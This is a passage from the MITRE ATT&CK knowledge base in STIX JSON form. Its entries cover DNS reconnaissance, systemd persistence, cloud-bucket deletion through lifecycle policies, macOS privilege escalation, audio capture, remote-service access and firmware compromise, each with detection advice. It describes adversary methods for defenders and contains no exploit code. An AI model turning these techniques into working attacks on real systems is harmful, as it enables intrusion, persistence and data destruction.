                    "description": "CISA. (2016, September 29). DNS Zone Transfer AXFR Requests May Leak Domain Information. Retrieved June 5, 2024.",
                    "url": "https://www.cisa.gov/news-events/alerts/2015/04/13/dns-zone-transfer-axfr-requests-may-leak-domain-information"
                },
                {
                    "source_name": "DNS Dumpster",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
                    "url": "https://dnsdumpster.com/"
                },
                {
                    "source_name": "Alexa-dns",
                    "description": "Scanning Alexa's Top 1M for AXFR. (2015, March 29). Retrieved June 5, 2024.",
                    "url": "https://en.internetwache.org/scanning-alexas-top-1m-for-axfr-29-03-2015/"
                },
                {
                    "source_name": "Sean Metcalf Twitter DNS Records",
                    "description": "Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. Retrieved September 12, 2024.",
                    "url": "https://x.com/PyroTek3/status/1126487227712921600"
                },
                {
                    "source_name": "Trails-DNS",
                    "description": "SecurityTrails. (2018, March 14). Wrong Bind Configuration Exposes the Complete List of Russian TLD's to the Internet. Retrieved June 5, 2024.",
                    "url": "https://web.archive.org/web/20180615055527/https://securitytrails.com/blog/russian-tlds"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:13:37.080Z",
            "name": "DNS",
            "description": "Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts. DNS MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).\n\nAdversaries may also use DNS zone transfer (DNS query type AXFR) to collect all records from a misconfigured DNS server.(Citation: Trails-DNS)(Citation: DNS-CISA)(Citation: Alexa-dns)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e",
            "created": "2019-04-23T15:34:30.008Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1501",
                    "external_id": "T1501"
                },
                {
                    "source_name": "Linux man-pages: systemd January 2014",
                    "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.",
                    "url": "http://man7.org/linux/man-pages/man1/systemd.1.html"
                },
                {
                    "source_name": "Freedesktop.org Linux systemd 29SEP2018",
                    "description": "Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019.",
                    "url": "https://www.freedesktop.org/wiki/Software/systemd/"
                },
                {
                    "source_name": "Anomali Rocke March 2019",
                    "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.",
                    "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang"
                },
                {
                    "source_name": "gist Arch package compromise 10JUL2018",
                    "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.",
                    "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a"
                },
                {
                    "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018",
                    "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.",
                    "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/"
                },
                {
                    "source_name": "acroread package compromised Arch Linux Mail 8JUL2018",
                    "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.",
                    "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html"
                },
                {
                    "source_name": "Rapid7 Service Persistence 22JUNE2016",
                    "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.",
                    "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:09.246Z",
            "name": "Systemd Service",
            "description": "Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories and have the file extension <code>.service</code>. Each service unit file may contain numerous directives that can execute system commands. \n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories, low privilege users can create/modify service unit files in directories such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Tony Lambert, Red Canary"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Systemd service unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>/home/<username>/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: <code>systemctl list-units -\u2013type=service \u2013all</code>. Analyze the contents of <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAuditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as <code>/usr/sbin/service</code> may reveal malicious systemd service execution.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--1001e0d6-ee09-4dfc-aa90-e9320ffc8fe4",
            "created": "2024-09-25T13:16:14.166Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1485/001",
                    "external_id": "T1485.001"
                },
                {
                    "source_name": "AWS Storage Lifecycles",
                    "description": "AWS. (n.d.). Managing the lifecycle of objects. Retrieved September 25, 2024.",
                    "url": "https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lifecycle-mgmt.html"
                },
                {
                    "source_name": "GCP Storage Lifecycles",
                    "description": "Google Cloud. (n.d.). Object Lifecycle Management. Retrieved September 25, 2024.",
                    "url": "https://cloud.google.com/storage/docs/lifecycle"
                },
                {
                    "source_name": "Halcyon AWS Ransomware 2025",
                    "description": "Halcyon RISE Team. (2025, January 13). Abusing AWS Native Services: Ransomware Encrypting S3 Buckets with SSE-C. Retrieved March 18, 2025.",
                    "url": "https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c"
                },
                {
                    "source_name": "Azure Storage Lifecycles",
                    "description": "Microsoft Azure. (2024, July 3). Configure a lifecycle management policy. Retrieved September 25, 2024.",
                    "url": "https://learn.microsoft.com/en-us/azure/storage/blobs/lifecycle-management-policy-configure?tabs=azure-portal"
                },
                {
                    "source_name": "Palo Alto Cloud Ransomware",
                    "description": "Ofir Balassiano and Ofir Shaty. (2023, November 29). Ransomware in the Cloud: Breaking Down the Attack Vectors. Retrieved September 25, 2024.",
                    "url": "https://www.paloaltonetworks.com/blog/prisma-cloud/ransomware-data-protection-cloud/"
                },
                {
                    "source_name": "Datadog S3 Lifecycle CloudTrail Logs",
                    "description": "Stratus Red Team. (n.d.). CloudTrail Logs Impairment Through S3 Lifecycle Rule. Retrieved September 25, 2024.",
                    "url": "https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:06.787Z",
            "name": "Lifecycle-Triggered Deletion",
            "description": "Adversaries may modify the lifecycle policies of a cloud storage bucket to destroy all objects stored within.  \n\nCloud storage buckets often allow users to set lifecycle policies to automate the migration, archival, or deletion of objects after a set period of time.(Citation: AWS Storage Lifecycles)(Citation: GCP Storage Lifecycles)(Citation: Azure Storage Lifecycles) If a threat actor has sufficient permissions to modify these policies, they may be able to delete all objects at once. \n\nFor example, in AWS environments, an adversary with the `PutLifecycleConfiguration` permission may use the `PutBucketLifecycle` API call to apply a lifecycle policy to an S3 bucket that deletes all objects in the bucket after one day.(Citation: Palo Alto Cloud Ransomware)(Citation: Halcyon AWS Ransomware 2025) In addition to destroying data for purposes of extortion and [Financial Theft](https://attack.mitre.org/techniques/T1657), adversaries may also perform this action on buckets storing cloud logs for [Indicator Removal](https://attack.mitre.org/techniques/T1070).(Citation: Datadog S3 Lifecycle CloudTrail Logs)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_data_sources": [
                "Cloud Storage: Cloud Storage Modification"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--101c3a64-9ba5-46c9-b573-5c501053cbca",
            "created": "2019-08-08T14:29:37.108Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1514",
                    "external_id": "T1514"
                },
                {
                    "source_name": "AppleDocs AuthorizationExecuteWithPrivileges",
                    "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019.",
                    "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg"
                },
                {
                    "source_name": "Death by 1000 installers; it's all broken!",
                    "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019.",
                    "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8"
                },
                {
                    "source_name": "Carbon Black Shlayer Feb 2019",
                    "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.",
                    "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/"
                },
                {
                    "source_name": "OSX Coldroot RAT",
                    "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.",
                    "url": "https://objective-see.com/blog/blog_0x2A.html"
                }
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T15:15:09.532Z",
            "name": "Elevated Execution with Prompt",
            "description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating.  This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
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            "x_mitre_contributors": [
                "Erika Noerenberg, @gutterchurl, Carbon Black",
                "Jimmy Astle, @AstleJimmy, Carbon Black"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "created": "2017-05-31T21:31:34.528Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1123",
                    "external_id": "T1123"
                },
                {
                    "source_name": "ESET Attor Oct 2019",
                    "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:51:52.461Z",
            "name": "Audio Capture",
            "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.(Citation: ESET Attor Oct 2019)\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5",
            "created": "2020-01-10T16:03:18.865Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1543",
                    "external_id": "T1543"
                },
                {
                    "source_name": "AppleDocs Launch Agent Daemons",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
                },
                {
                    "source_name": "TechNet Services",
                    "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx"
                },
                {
                    "source_name": "OSX Malware Detection",
                    "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.",
                    "url": "https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:11:29.155Z",
            "name": "Create or Modify System Process",
            "description": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.  \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection)  ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.  \n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \n\nMonitor for changes to files associated with system-level processes.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux",
                "Containers"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Service: Service Creation",
                "Container: Container Creation",
                "Driver: Driver Load",
                "Service: Service Modification",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "File: File Modification",
                "File: File Creation",
                "Windows Registry: Windows Registry Key Creation",
                "Process: OS API Execution",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
            "created": "2017-05-31T21:31:44.421Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1133",
                    "external_id": "T1133"
                },
                {
                    "source_name": "Volexity Virtual Private Keylogging",
                    "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
                    "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
                },
                {
                    "source_name": "MacOS VNC software for Remote Desktop",
                    "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.",
                    "url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac"
                },
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"
                },
                {
                    "source_name": "Trend Micro Exposed Docker Server",
                    "description": "Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:34:58.667Z",
            "name": "External Remote Services",
            "description": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "ExtraHop",
                "David Fiser, @anu4is, Trend Micro",
                "Alfredo Oliveira, Trend Micro",
                "Idan Frimark, Cisco",
                "Rory McCune, Aqua Security",
                "Yuval Avrahami, Palo Alto Networks",
                "Jay Chen, Palo Alto Networks",
                "Brad Geesaman, @bradgeesaman",
                "Magno Logan, @magnologan, Trend Micro",
                "Ariel Shuper, Cisco",
                "Yossi Weizman, Azure Defender Research Team",
                "Vishwas Manral, McAfee",
                "Daniel Oakley",
                "Travis Smith, Tripwire",
                "David Tayouri"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nWhen authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "Containers",
                "macOS"
            ],
            "x_mitre_version": "2.4",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow",
                "Logon Session: Logon Session Metadata",
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44",
            "created": "2017-05-31T21:31:22.374Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1109",
                    "external_id": "T1109"
                },
                {
                    "source_name": "SanDisk SMART",
                    "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018."
                },
                {
                    "source_name": "SmartMontools",
                    "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.",
                    "url": "https://www.smartmontools.org/"
                },
                {
                    "source_name": "ITWorld Hard Disk Health Dec 2014",
                    "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.",
                    "url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T15:15:09.960Z",
            "name": "Component Firmware",
            "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847",
            "created": "2020-01-24T14:21:52.750Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/006",
                    "external_id": "T1546.006"
                },
                {
                    "source_name": "Malware Persistence on OS X",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "Writing Bad Malware for OSX",
                    "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
                    "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:15.460Z",
